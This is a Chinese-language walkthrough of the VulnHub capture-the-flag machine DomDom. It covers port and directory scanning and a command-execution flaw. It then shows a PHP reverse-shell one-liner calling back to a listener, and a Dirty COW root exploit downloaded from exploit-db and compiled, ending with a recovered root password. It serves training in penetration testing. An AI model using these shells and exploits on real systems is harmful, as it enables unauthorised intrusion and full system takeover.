
靶机系列测试教程 DomDom

1 交流平台

随着教程的推出，看视频的人也越来越多，随之而来的问题也增多，本人平时非常忙，难以有

时间回复大家的问题，特意建立了一个 QQ群，里面有很多这方面的高手，有什么不懂的，请到群

里提问，咨询问题的时候，一定要详细，不然没人会回复你，另外本人有时间会在群内直播测试靶

机，还没加上群的赶快加上了。

交流 QQ群 微信号

博客 www.moonsec.com

2 介绍

2.1靶机介绍

描述 说明

Difficulty Beginner-Intermediate
Description How well do you understand PHP programs? How familiar are you with Linux

misconfigurations? This image will cover advanced Web attacks, out of the box
thinking and the latest security vulnerabilities.

Please note that this is capture the flag machine which means it is not real life
scenario but will challenge you hard before you can obtain root privileges.



Operating System Linux

下载地址

https://www.vulnhub.com/entry/domdom-1,328/

难度 中等

3 测试过程

3.1扫描端口

nmap -p- -T5 192.168.0.120 -oA domdom-port

3.2目录扫描

gobuster dir -u http://192.168.0.120 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x
php

3.3命令执行漏洞



经过测试发现存在命令执行漏洞



3.4反弹 shell

nc -lvnp 9001
php -r '$sock=fsockopen("192.168.0.118",9001);exec("/bin/sh -i <&3 >&3 2>&3");'



3.5切换 shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

3.6提权



./linux-exploit-suggester.sh

3.7脏牛提权

wget https://www.exploit-db.com/download/40616
mv 40616 cowroot.c
gcc cowroot.c -o cowroot -pthread
chmod+x cowroot
./ cowroot

3.8查找特殊权限的文件

getcap -r / 2>/dev/null



打包用户 domom 目录

tar -cvf domom.tar /home/domom
tar -xvf domom.tar
cat README.md

找到 root密码

su root
Mj7AGmPR-m&Vf>Ry{}LJRBS5nc+*V.#a

4 关于公众号
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